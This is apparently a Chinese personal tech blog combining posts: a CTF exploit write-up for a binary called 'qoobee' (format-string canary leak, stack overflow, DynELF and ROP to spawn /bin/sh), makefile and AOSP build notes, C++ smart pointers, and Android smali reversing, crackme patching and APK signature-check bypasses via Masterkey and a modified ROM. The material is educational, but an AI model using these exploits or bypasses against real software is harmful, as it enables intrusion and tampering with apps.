BruceFan's Blog

Stay hungry, stay foolish

0%

下载qoobee
分析程序:
1.运行程序

2.找到第一个功能:

3.进入adopt函数:

可以看到开辟了一个堆,这个堆是用来存储QooBee信息的,返回堆的指针,保存在main函数的ebp-10h
堆中信息和位置:

4.分析整个程序,发现show_info()函数里有一个format string漏洞。

description()函数里有一个buffer overflow函数。但是函数有栈保护,需要知道canary,正好可以通过前面发现的format string漏洞得到(同一个程序的不同函数里的canary是相同的)。

5.通过format string漏洞获得canary和ebp的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.recvuntil('Your Choice: ')
p.sendline('1')
p.recvuntil('QooBee Name: ')
p.sendline('1')
p.recvuntil('QooBee Age: ')
p.sendline('AAAA%11$x%14$x') #格式化字符串,打印出栈上第11和第14个存储单元,对应的是canary和ebp的值
p.recvuntil('Description(30 bytes): ')
p.sendline('1')
p.recvuntil('Your Choice: ')
p.sendline('2')
p.recvuntil('AAA')
leak_mem = p.recv(16)
canary = atoi(leak_mem[:8], 16)
ebp = atoi(leak_mem[8:], 16) - 0x30 #show_info()的ebp比description()的ebp大0x30,可以通过下断点查看

6.获得canary和ebp就可以利用buffer overflow的漏洞了,下一步就是获取system()函数在内存中的地址。这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。
leak函数应该是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def leak(address):
p.recvuntil('Your Choice: ')
p.sendline('1')
p.recvuntil('QooBee Name: ')
p.sendline('1')
p.recvuntil('QooBee Age: ')
p.sendline('1')
p.recvuntil('Description(30 bytes): ')

payload = 'A' * 30 + p32(canary) + 'B' * 8 + p32(ebp) + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)
p.sendline(payload)
try:
data = p.recv(4)
return data
except:
return None

7.随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./qoobee'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。

1
2
3
d = DynELF(leak, elf = ELF('./qoobee'))
system_addr = d.lookup('system', 'libc')
print "system_addr = " + hex(system_addr)

8.要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S qoobee这个命令就可以获取到.bss段的地址了。

$ readelf -S qoobee
There are 28 section headers, starting at offset 0x279c:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
……
[22] .got PROGBITS 0804b5fc 0025fc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804b600 002600 000070 04 WA 0 0 4
[24] .data PROGBITS 0804b670 002670 00000c 00 WA 0 0 4
[25] .bss NOBITS 0804b680 00267c 00000c 00 WA 0 0 32
……

9.因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。
10.整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。
最终的exp
reference
http://drops.wooyun.org/papers/7551

makefile规则

1
2
3
4
target: prerequisites
command
...
...

target可以是一个目标文件,也可以是一个执行文件。
prerequisites是要生成target所需要的文件或是目标。
command是make需要执行的命令。(任意的shell命令)
target这一个或多个目标文件依赖于prerequisites中的文件,其生成规则定义在command中。
prerequisites中如果有一个以上的文件比target文件要新的话,command所定义的命令就会被执行。

示例

如一个工程有3个头文件,5个c文件,makefile如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
edit: main.o command.o display.o insert.o search.o #后面的.o文件比edit可执行文件新,才会执行下面的命令
gcc -o edit main.o command.o display.o insert.o search.o #一定要以tab开头

main.o: main.c defs.h
gcc -c main.c
command.o: command.c defs.h command.h
gcc -c command.c
display.o: display.c defs.h buffer.h
gcc -c display.c
insert.o: insert.c defs.h buffer.h
gcc -c insert.c
search.o: search.c defs.h buffer.h
clean:
rm edit main.o command.o display.o insert.o search.o

文件保存为”makefile”或”Makefile”,在该目录下执行make就可以生成可执行文件edit。要删除生成的文件就执行make clean

makefile中使用变量

makefile起始处声明变量:

1
OBJ = main.o command.o display.o insert.o search.o

这样就可以在makefile中用$(OBJ)来使用这个变量了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
OBJ = main.o command.o display.o insert.o search.o
edit: $(OBJ)
gcc -o edit $(OBJ)
main.o: main.c defs.h
gcc -c main.c
command.o: command.c defs.h command.h
gcc -c command.c
display.o: display.c defs.h buffer.h
gcc -c display.c
insert.o: insert.c defs.h buffer.h
gcc -c insert.c
search.o: search.c defs.h buffer.h
clean:
rm edit main.o command.o display.o insert.o search.o

makefile自动推导

makefile看到一个o文件,就会把c文件加到依赖关系中,并且gcc -c *.c也会被推导出来:

1
2
3
4
5
6
7
8
9
10
11
OBJ = main.o command.o display.o insert.o search.o
CC = gcc
edit: $(OBJ)
$(CC) -o edit $(OBJ)
main.o: defs.h
command.o: defs.h command.h
display.o: defs.h buffer.h
insert.o: defs.h buffer.h
search.o: defs.h buffer.h
clean:
rm edit $(OBJ)

C++的makefile

1
2
3
4
5
6
7
8
9
10
11
CC = g++
STD = -std=c++11
SRC = main.cpp student.cpp
OBJ = main.o student.o

main: $(OBJ)
$(CC) $(STD) $(OBJ) -o $@ #$@表示生成的文件名为第一个目标文件的名字
$(OBJ): student.h
$(CC) $(STD) -c $(SRC)
clean:
rm -f main $(OBJ)

1.git配置

1
2
3
$ sudo apt-get install git 
$ git config --global user.email "fanrong1992@gmail.com"
$ git config --global user.name "fanrong1992"

2.下载repo

1
2
3
4
$ mkdir ~/bin
$ PATH=~/bin:$PATH
$ curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
$ chmod a+x ~/bin/repo

3.下载源码,Android所有版本和支持的手机型号在官网上有:

1
2
3
4
$ mkdir Android6.0.1_r20
$ cd Android6.0.1_r20
$ repo init -u https://aosp.tuna.tsinghua.edu.cn/platform/manifest -b android-6.0.1_r20
$ repo sync

4.安装编译环境

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo add-apt-repository ppa:openjdk-r/ppa    //更新下载链接
$ sudo apt-get update
$ sudo apt-get install openjdk-7-jdk
$ sudo apt-get install -y git flex bison gperf build-essential libncurses5-dev:i386
$ sudo apt-get install libx11-dev:i386 libreadline6-dev:i386 libgl1-mesa-dev g++-multilib
$ sudo apt-get install tofrodos python-markdown libxml2-utils xsltproc zlib1g-dev:i386
$ sudo apt-get install dpkg-dev libsdl1.2-dev libesd0-dev
$ sudo apt-get install git-core gnupg flex bison gperf build-essential
$ sudo apt-get install zip curl zlib1g-dev gcc-multilib g++-multilib
$ sudo apt-get install libc6-dev-i386
$ sudo apt-get install lib32ncurses5-dev x11proto-core-dev libx11-dev
$ sudo apt-get install lib32z-dev ccache
$ sudo apt-get install libgl1-mesa-dev libxml2-utils xsltproc unzip m4

5.编译源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ source build/envsetup.sh
$ lunch
You're building on Linux

Lunch menu... pick a combo:
1. aosp_arm-eng # 如果不打算烧录到真机,只用模拟器,可以选这个
2. aosp_arm64-eng
3. aosp_mips-eng
4. aosp_mips64-eng
5. aosp_x86-eng
6. aosp_x86_64-eng
7. aosp_deb-userdebug
8. aosp_flo-userdebug
9. full_fugu-userdebug
10. aosp_fugu-userdebug
11. mini_emulator_arm64-userdebug
12. m_e_arm-userdebug
13. mini_emulator_mips-userdebug
14. mini_emulator_x86_64-userdebug
15. mini_emulator_x86-userdebug
16. aosp_flounder-userdebug
17. aosp_angler-userdebug
18. aosp_bullhead-userdebug
19. aosp_hammerhead-userdebug # 我选的是这个,因为nexus5是hammerhead
20. aosp_hammerhead_fp-userdebug
21. aosp_shamu-userdebug
$ make -j8

烧录到真机

1.下载nexus5驱动(需要梯子),还是在刚才官网手机版本那个页面,有每个版本的build版本,比如Android6.0.1_r20是MMB29X,找到手机型号和build版本对应的驱动下载,否则无法继续进行。
三个压缩文件,解压出三个sh文件,放到源代码根目录。执行这三个sh文件,自动提取出驱动到vendor目录中。
2.再次编译:

1
2
3
$ . build/envsetup.sh
$ lunch 19
$ make -j8

3.切换到root:

1
2
3
4
5
6
$ sudo -s
# export ANDROID_PRODUCT_OUT=/home/fanrong/Computer/Android6.0.1_r20/out/target/product/hammerhead
// 将adb和fastboot目录添加到PATH
# PATH=/home/fanrong/Computer/Android6.0.1-r20/out/host/linux-x86/bin:$PATH
# adb reboot bootloader
# fastboot flashall -w

执行完fastboot手机会自动重新启动,就能用上自己编译的Android系统了。

C++中,动态内存的管理是通过:new在动态内存中为对象分配空间并返回一个指向该对象的指针,我们可以选择对对象进行初始化;delete接受一个动态对象的指针,销毁该对象,并释放与之关联的内存。
动态内存很容易出问题,因为确保在正确的时机释放内存很困难。有时会忘了释放内存,产生内存泄露;有时还有指针引用内存就释放了它,会产生UAF。
为了更容易更安全地使用动态内存,新的标准库提供了两种智能指针(smart pointer)类型来管理动态对象。这两种智能指针的区别在于管理底层指针的方式:shared_ptr允许多个指针指向同一个对象;unique_ptr则独占所指向的对象。标准库还定义了一个名为weak_ptr的伴随类,它是一种弱引用,指向shared_ptr所管理的对象。

shared_ptr类

类似vector,智能指针也是模板。创建一个智能指针时,必须提供额外信息(指针指向的类型)

1
shared_ptr<string> p1; // shared_ptr,可以指向string

shared_ptr和unique_ptr都支持的操作

操作 作用
p 将p用作一个条件判断,若p指向一个对象,则为true
*p 解引用p,获得它指向的对象
p->mem 等价于(*p).mem
p.get() 返回p中保存的指针
swap(p, q) 交换p和q中的指针

shared_ptr独有的操作

make_shared函数,在动态内存中分配一个对象并初始化它,返回指向此对象的shared_ptr。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// main.cpp
include "student.h"
#include <memory>
int main()
{
vector<float> ivec = {95.5, 97.0, 94.6, 98.7};

auto sp = make_shared<Student>(1, "brucefan", ivec);
cout << sp->getName() << endl;

shared_ptr<Student> sp(new Student(2, "fanrong", ivec));
cout << sp->getName() << endl;

return 0;
}
// student.h
include <iostream>
#include <string>
#include <vector>
using namespace std;

class Student {
public:
Student(int i, string n, vector<float> &s): id(i), name(n),
score(s) { }
int getId();
string getName();
vector<float> getScore();
private:
int id;
string name;
vector<float> score;
};
// student.cpp
#include "student.h"
int Student::getId() {
return id;
}
string Student::getName() {
return name;
}
vector<float> Student::getScore() {
return score;
}

每个shared_ptr都有一个关联的计数器,通常称其为引用计数(reference count)
拷贝一个shared_ptr时,计数器都会递增。如:当用一个shared_ptr初始化另一个shared_ptr,或将它作为参数传递给一个函数以及作为函数的返回值时,它所关联的计数器就会递增。
当给shared_ptr赋予一个新值或是shared_ptr被销毁时,计数器就会递减。
一旦一个shared_ptr的计数器变为0,他就会自动释放自己所管理的对象。

unique_ptr类

与shared_ptr不同,某个时刻只能有一个unique_ptr指向一个给定对象。当unique_ptr被销毁时,它所指向的对象也被销毁。与shared_ptr不同,没有类似make_shared的标准库函数返回一个unique_ptr。定义一个unique_ptr时,需要将其绑定到一个new返回的指针上:

1
2
unique_ptr<double> doup(new double(3.14));
unique_ptr<string> strp(new string("brucefan"));

由于unique_ptr拥有它指向的对象,因此unique_ptr不支持普通的拷贝或赋值操作。但可以通过调用releasereset将指针的所有权从一个(非const)unique_ptr转移给另一个unique:

1
2
3
4
5
// 将所有权从strp转移给strp2
unique_ptr<string> strp2(p1.release()); // release将p1置为空
unique_ptr<string> strp3(new string("fanrong"));
// 将所有权从strp3转移给p2
p2.reset(p3.release()) // reset释放了p2原来指向的内存

release成员返回unique_ptr当前保存的指针,并将其置空。因此strp2被初始化为strp1原来的指针,strp1被置空。
reset成员接受一个可选的指针参数,令unique_ptr重新指向给定的指针,原来指向的对象被释放。

weak_ptr

weak_ptr是一种不控制所指向对象生存期的智能指针,它指向一个shared_ptr管理的对象。将一个weak_ptr绑定到一个shared_ptr不会改变shared_ptr的引用计数。最后一个shared_ptr被销毁,对象就会被销毁,即使还有weak_ptr指向这个对象。

1
2
auto p = make_shared<int>(42);
weak_ptr<int> wp(p); // wp弱共享p;p的引用计数未改变

反编译apk文件

1
$ apktool d crackme.apk outdir # 反编译apk文件夹

res/values/strings.xml存储源代码中定义的strings资源,apk文件打包时,strings.xml中的字符串被加密存储为resources.arsc文件中,apk成功反编译后该文件也会被解密出来。源程序R.java中的所有索引值保存在strings.xml同目录下的public.xml文件中。

1
2
$ grep -nr "0x7f05000b" ./smali # 在smali文件夹中查找含有“0x7f05000b”内容的文件
$ apktool b outdir # 编译修改后的文件,编译成功后会在outdir下生成dist目录需要使用signapk.jar工具对apk文件进行签名

Android Dalvik虚拟机

Java虚拟机运行的是Java字节码,Dalvik虚拟机运行的是Dalvik字节码

Dalvik虚拟机通过解释DEX来执行这些字节码

Dalvik可执行文件体积更小

dx工具负责将Java字节码转换位Dalvik字节码

Java虚拟机与Dalvik虚拟机架构不同

Java虚拟机基于栈架构,Dalvik虚拟机基于寄存器架构

1
2
3
4
$ javac -source 1.6 -target 1.6 Hello.java
$ dx --dex --output=Hello.dex Hello.class
$ javap -c -classpath . Hello # 查看Java字节码
$ dexdump -d Hello.dex # 查看Dalvik字节码

dx和dexdump在/sdk/build_tools/android目录下

DEX文件反汇编工具

1
$ java -jar baksmali.jar -o baksmaliout Hello.dex

定位关键代码

信息反馈法
特征函数法
顺序查看法
代码注入法
栈跟踪法
Method Profiling

smali语法

.registers指令指定函数用到的寄存器数目
一条.parameter指令指定函数一个参数
.prologue指令指定函数代码起始处
函数中引入的参数命名从p0开始,依次递增
寄存器p0作为this引用,v0开始表示函数的局部变量寄存器
1.类型
Dalvik字节码只有两种类型,基本类型引用类型。除了对象与数组属于引用对象外,其他的Java类型都是基本类型。
Dalvik字节码类型描述符

语法 含义
V void, 只用于返回值类型
Z boolean
B byte
S short
C char
I int
J long
F float
D double
L Java类类型
[ 数组类型

2.方法
方法调用格式

1
Lpackage/name/ObjectName;->MethodName(III)Z

Lpackage/name/ObjectName;-应该理解为一个类型,MethodName为具体的方法名,(III)Z是方法的签名部分,III为方法的参数(3个int型参数),Z是方法的返回类型(boolean类型)
例:

1
2
method(I[[IILjava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
String method(int, int[][], int, String, Object[])

3.字段
字段调用格式

1
Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;

字段由类型$Lpackage/name/ObjectName;$、字段名$FieldName$与字段类型$Ljava/lang/String;$组成。字段名与字段类型用:隔开。

smali文件格式

smali文件头3行描述了当前类的信息

1
2
3
.class<访问权限>[修饰关键字]<类名>
.super<父类名>
.source<源文件名>

例:MainActivity.smali

1
2
3
.class public Lcom/example/crackme/MainActivity;
.super Landroid/app/Activity;
.source "MainActivity.java"

一个类由多个字段和方法组成,字段的声明用.field指令,字段有静态字段和实例字段
静态字段声明格式

1
2
# static fields
.field <访问权限> static [修饰关键字] <字段名>:<字段类型>

实例字段声明格式

1
2
# instance fields
.field <访问权限> [修饰关键字] <字段名>:<字段类型>

例:

1
2
# instance fields
.field private button:Landorid/widget/Button;

方法的声明使用.method指令,方法有直接方法和虚方法
直接方法声明格式

1
2
3
4
5
6
7
8
# direct methods
.method <访问权限> [修饰关键字] <方法原型>
<.locals>
[.parameter]
[.prologue]
[.line]
<代码体>
.end method

虚方法的声明格式与直接方法相同,只是起始出的注释为virtual methods
smali文件中使用.implements指令指出接口,格式声明:

1
2
# interfaces
.implements <接口名>

smail文件中使用.annotation指令指出注解,格式声明:

1
2
3
4
# annotations
.annotation [注解属性] <注解类名>
[注解字段 = 值]
.end annotation

内部类

baksmali在反编译dex文件时会为每个类单独生成一个smali文件,内部类也有自己独立的smali文件,[外部类]$[内部类].smali
this$0是内部类自动保留的一个指向所在外部类的引用,左边的this表示为父类的引用,右边的数值0表示引用层数

1
2
3
4
5
6
7
8
9
public class Outer { //this$0
public class FirstInner { //this$1
public class SecondInner { //this$2
public class ThirdInner {

}
}
}
}

ThirdInner类访问FirstInner类的引用为this$1
this$X型字段都被指定为synthetic属性,表示它们是被编译器合成的、虚构的,并不是人为声明的该字段。

Smali/baksmali

Apktool其实只是一个将各种工具结合起来的懒人工具而已。最好使用smali/baksmali而不是Apktool,原因如下:首先,Apktool更新并没有smali/baksmali频繁,smali/baksmali更新后要过非长久的时间才会合并到Apktool中,在这之前你可能需要忍受很多诡异的bug。其次,Apktool在反编译或者重打包dex的时候,如果发生错误,仅仅只会提供错误的exception信息而已,但如果你使用smali/baksmali,工具会告诉你具体的出错原因,会对重打包后的调试有巨大的帮助。最后,很多apk为了对付反调试会在资源文件中加入很多junk code从而使得Apktool的解析崩溃掉,造成反编译失败或者无法重打包。但如果你仅对classes.dex操作就不会有这些问题了。
smali/baksmali的基本操作如下:

1
2
3
4
# 将smali-2.1.2.jar和baksmali-2.1.2.jar和解压的classes.dex放到同一目录
$ java -jar baksmali-2.1.2.jar -o classout/ classes.dex # 反编译dex文件到smali文件
$ java -jar smali-2.1.2.jar classout/ -o classes.dex # 将smali文件编译成dex文件

学习smali最好的方法就是自己先用java写好程序,再用baksmali转换成smali语句,然后对照学习。比如下面就是java代码和用baksmali反编译过后的smali文件的对照分析。
BFLog类主要是用Log.d()输出调试信息,Java代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class BFLog {
public static void Log(String tag, String msg)
{
Log.d(tag, msg);
}
public static void Log(Object someObj)
{
Log("bruce", someObj.toString());
}
public static void Log(Object[] someObj)
{
Log("bruce", Arrays.toString(someObj));
}
}

对应的smali代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
.class public Lcom/bruce/BFLog; # class的名字
.super Ljava/lang/Object; # 这个类继承的对象
.source "BFLog.java" # java文件名

# direct methods
.method public constructor <init>()V # class的构造函数
.registers 1

.prologue # 函数代码起始处
.line 9
invoke-direct {p0}, Ljava/lang/Object;-><init>()V # 调用Object的构造方法,p0相当于this指针
return-void
.end method

.method public static Log(Ljava/lang/Object;)V # Log(Object)的方法实现
.registers 3
.param p0, "someObj" # Ljava/lang/Object; 参数信息

.prologue
.line 17
const-string v0, "bruce" # 给v0赋值"bruce"
invoke-virtual {p0}, Ljava/lang/Object;->toString()Ljava/lang/String; # 调用toString()函数
move-result-object v1 # toString()的结果保存在v1
invoke-static {v0, v1}, Lcom/bruce/BFLog;->Log(Ljava/lang/String;Ljava/lang/String;)V # 调用BFLog的一个Log函数,参数是v0和v1
.line 18
return-void
.end method

.method public static Log(Ljava/lang/String;Ljava/lang/String;)V # Log(String, String)的方法实现
.registers 2
.param p0, "tag" # Ljava/lang/String;
.param p1, "msg" # Ljava/lang/String;

.prologue
.line 12
invoke-static {p0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I # 调用android API里的Log函数实现Log功能
.line 13
return-void
.end method

.method public static Log([Ljava/lang/Object;)V # Log(Object[])函数实现 ‘[’符号是数组的意思
.registers 3
.param p0, "someObj" # [Ljava/lang/Object;

.prologue
.line 22
const-string v0, "bruce"
invoke-static {p0}, Ljava/util/Arrays;->toString([Ljava/lang/Object;)Ljava/lang/String; # 将Object数组转换为String
move-result-object v1
invoke-static {v0, v1}, Lcom/bruce/BFLog;->Log(Ljava/lang/String;Ljava/lang/String;)V # 调用Log(String, String)函数
.line 23
return-void
.end method

Smali插桩

如果仅仅用Smali来分析代码,效果其实不如用dex2jar和jd-gui更直观,毕竟看反编译的java代码要更容易一些。但Smali强大之处就是可以随心所欲的进行插桩操作。何为插桩,在保证被测程序原有逻辑完整性的基础上在程序中插入一些探针(又称为“探测仪”),通过探针的执行并抛出程序运行的特征数据,通过对这些数据的分析,可以获得程序的控制流和数据流信息,进而得到逻辑覆盖等动态信息,从而实现测试目的的方法。下面我就来结合一个例子来讲解一下何如进行smali插桩。
测试程序是一个简单的crackme。输入密码,然后点击check,如果密码正确会输出yes,否则输出no。

首先我们对crackme1这个apk进行解压,然后反编译。我们会在MainActivity中看到一个getkey(String,int)函数。这个函数貌似非常复杂,我们暂时不管。我们首先分析一下点下button后的逻辑。我们发现程序会通过getkey(“mrkxqcroxqtskx”,42)来计算出真正的密码,然后与我们输人的密码进行比较,java代码如下:

1
2
3
4
5
6
7
8
public void onClick(View v) {
String str = editText0.getText().toString();
if (str.equals(getkey("mrkxqcroxqtskx", 42))) {
Toast.makeText(MainActivity.this, "Yes!", Toast.LENGTH_LONG).show();
} else {
Toast.makeText(MainActivity.this, "No!", Toast.LENGTH_LONG).show();
}
}

这时候就是smali插桩大显身手的时候了,我们可以通过插桩直接获取getkey(“mrkxqcroxqtskx”, 42)这个函数的返回值,然后Log出来。这样我们就不需要研究getkey这个函数的实现了。具体过程如下:
1.首先解压apk然后用baksmali进行反编译。

1
2
3
$ unzip -d outdir crackme1.apk
$ cd outdir
$ java -jar baksmali-2.1.2.jar -o classout classes.dex

2.将上一节BFLog类的BFLog.smali文件拷贝到com/bruce目录下,这个文件有3个LOG函数,分别可以输出String的值,Object的值和Object数组的值。注意,如果原程序中没有com/bruce这个目录,你需要自己用mkdir创建一下。拷贝完后,目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
com
└─bruce
│ BFLog.smali

└─crackme1
BuildConfig.smali
MainActivity$1.smali
MainActivity.smali
R$attr.smali
R$dimen.smali
R$drawable.smali
R$id.smali
R$layout.smali
R$menu.smali
R$string.smali
R$style.smali
R.smali

3.用文本编辑器打开MainActivity$1.smali文件进行插桩。为什么是MainActivity$1.smali而不是MainActivity.smali呢?因为主要的判断逻辑是在OnClickListener这个类里,而这个类是MainActivity的一个内部类,同时我们在实现的时候也没有给这个类声明具体的名字,所以这个类用$1表示。加入BFLog.smali这个文件后,我们只需要在MainActivity$1.smali的第71行后面加上一行代码,invoke-static {v1}, Lcom/bruce/BFLog;->Log(Ljava/lang/Object;)V,就可以输出getkey的值了。Invoke是方法调用的指令,因为我们要调用的类是静态方法,所以使用invoke-static。如果是非静态方法的话,第一个参数应该是该方法的实例,然后依次是各个参数。具体插入情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const-string v1, "mrkxqcroxqtskx"

const/16 v2, 0x2a

# invokes: Lcom/mzheng/crackme1/MainActivity;->getkey(Ljava/lang/String;I)Ljava/lang/String;

invoke-static {v1, v2}, Lcom/mzheng/crackme1/MainActivity;->access$0(Ljava/lang/String;I)Ljava/lang/String;

move-result-object v1

############################## begin ##############################
invoke-static {v1}, Lcom/bruce/BFLog;->Log(Ljava/lang/Object;)V
############################## end ###############################
invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v1

4.用smali.jar重新编译修改后的smali文件,把新编译的classes.dex覆盖老的classes.dex,然后再用signapk.jar对apk进行签名。几条关键指令如下:

1
2
3
4
5
6
7
8
$ java -jar smali.jar classout -o classes.dex
$ zip unsigned.apk AndroidManifest.xml classes.dex resources.arsc -r res
adding: AndroidManifest.xml (deflated 62%)
adding: classes.dex (deflated 53%)
adding: resources.arsc (deflated 73%)
adding: res/ (stored 0%)
...
$ java -jar signapk.jar testkey.x509.pem testkey.pk8 unsigned.apk signed.apk

5.安装程序到android,随便输入点啥,然后点击check按钮,随后在logcat中就可以看到getkey(“mrkxqcroxqtskx”, 42)这个函数的返回值了。

Smali修改

通过Smali/baksmali工具,我们不光可以插桩,还可以修改apk的逻辑。几个需要注意点如下:
1.if条件判断以及跳转语句
在smali中最常见的就是if这个条件判断跳转语句了,这个判断一共有12条指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
if-eq vA, VB, cond_** 如果vA等于vB则跳转到cond_**。相当于if (vA==vB)
if-ne vA, VB, cond_** 如果vA不等于vB则跳转到cond_**。相当于if (vA!=vB)
if-lt vA, VB, cond_** 如果vA小于vB则跳转到cond_**。相当于if (vA<vB)
if-le vA, VB, cond_** 如果vA小于等于vB则跳转到cond_**。相当于if (vA<=vB)
if-gt vA, VB, cond_** 如果vA大于vB则跳转到cond_**。相当于if (vA>vB)
if-ge vA, VB, cond_** 如果vA大于等于vB则跳转到cond_**。相当于if (vA>=vB)

if-eqz vA, :cond_** 如果vA等于0则跳转到:cond_** 相当于if (VA==0)
if-nez vA, :cond_** 如果vA不等于0则跳转到:cond_**相当于if (VA!=0)
if-ltz vA, :cond_** 如果vA小于0则跳转到:cond_**相当于if (VA<0)
if-lez vA, :cond_** 如果vA小于等于0则跳转到:cond_**相当于if (VA<=0)
if-gtz vA, :cond_** 如果vA大于0则跳转到:cond_**相当于if (VA>0)
if-gez vA, :cond_** 如果vA大于等于0则跳转到:cond_**相当于if (VA>=0)

比如我们在crackme1里判断密码是否正确的smali代码段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v1

if-eqz v1, :cond_25 # if (v1==0)

iget-object v1, p0, Lcom/mzheng/crackme1/MainActivity$1;->this$0:Lcom/mzheng/crackme1/MainActivity;

const-string v2, "Yes!"

invoke-static {v1, v2, v3}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

move-result-object v1

invoke-virtual {v1}, Landroid/widget/Toast;->show()V

:cond_25
iget-object v1, p0, Lcom/mzheng/crackme1/MainActivity$1;->this$0:Lcom/mzheng/crackme1/MainActivity;

const-string v2, "No!"

invoke-static {v1, v2, v3}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

move-result-object v1

invoke-virtual {v1}, Landroid/widget/Toast;->show()V

如果我们不关心密码内容,只是希望程序输出”yes”的话。我们可以把if-eqz v1, :cond_25改成if-nez v1, :cond_25。这样逻辑就变为:当输错密码的时候,程序反而会输出”yes”。
2.寄存器问题
修改Smali时有一件很重要的事情就是要注意寄存器。如果乱用寄存器的话可能会导致程序崩溃。每个方法开头声明了registers的数量,这个数量是参数和本地变量总和。参数统一用P表示。如果是非静态方法p0代表this,p1-pN代表各个参数。如果是静态方法的话,p0-pN代表各个参数。本地变量统一用v表示。如果想要增加的新的本地变量,需要在方法开头的registers数量上增加相应的数值。
比如下面这个方法:

1
2
3
4
5
6
7
.method public constructor <init>()V
.registers 1
.prologue
.line 7
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

因为这不是静态方法,所以p0代表this。如果想要增加一个新的本地变量,比如v0。就需要把.registers 1改为.registers 2。
3.给原程序增加大量逻辑的办法
非常不建议在程序原有的方法上增加大量逻辑,这样可能会出现很多寄存器方面的错误导致编译失败。比较好的方法是:把想要增加的逻辑先用java写成一个apk,然后把这个apk反编译成smali文件,随后把反编译后的这部分逻辑的smali文件插入到目标程序的smali文件夹中,然后再在原来的方法上采用invoke的方式调用新加入的逻辑。这样的话不管加入再多的逻辑,也只是修改了原程序的几行代码而已。这个思路也是很多重打包病毒惯用的伎俩,确实非常方便好用。

APK签名Tricks

当我们在实战中,有时会碰到某些apk在内部实现了自己的签名检查。这次我们介绍的Smali Instrumentation方法因为需要重打包,所以会改变原有的签名。当然,你可以通过修改apk把签名检查的逻辑删掉,但这又费时又费力。在这里简单介绍两种非常方便的方法来解决签名检查问题。
1.Masterkey
Masterkey漏洞一共有三个,可以影响android 4.4以下版本。利用这个漏洞,我们可以插入新的classes.dex替换掉原有的classes.dex而不需要对apk本身进行重新签名。如果apk本身有签名校验逻辑的话,利用这个漏洞来进行Smali Instrumentation简直再好不过了。首先,你需要一个android 4.4以下版本的虚拟机或者真机,然后再使用一个masterkey利用工具对apk进行exploit即可。工具下载地址在文章最后,使用的命令如下:

1
$ java -jar AndroidMasterKeys.jar -a orig.apk -z moddedClassesDex.zip -o out.apk

orig.apk是原本的apk文件,moddedClassesDex.zip是修改后的classes.dex并压缩成zip文件,out.apk就是利用Masterkey漏洞生成的新的apk文件。如果成功的话用zip打开文件会看到两个classes.dex。通过masterkey打包后的apk文件签名并不会有任何变化,这样也就不用担心签名校验问题了。
2.自定义ROM
签名的判断其实是调用了android系统密码库的函数,如果我们可以自己定制ROM的话,只需要修改AOSP源码路径下的libcore\luni\src\main\java\java\security\MessageDigest.java文件。将isEqual函数中的判断语句注释掉:

1
2
3
4
5
6
7
8
9
10
11
public static boolean isEqual(byte[] digesta, byte[] digestb) {
if (digesta.length != digestb.length) {
return false;
}
// for (int i = 0; i < digesta.length; i++) {
// if (digesta[i] != digestb[i]) {
// return false;
// }
// }
return true;
}

这样的话,如果在你自定义的ROM上运行apk,无论你怎么修改classes.dex文件,都不需要关心签名问题了,系统会永远返回签名正确的。
下载
reference
安卓动态调试七种武器之长生剑 - Smali Instrumentation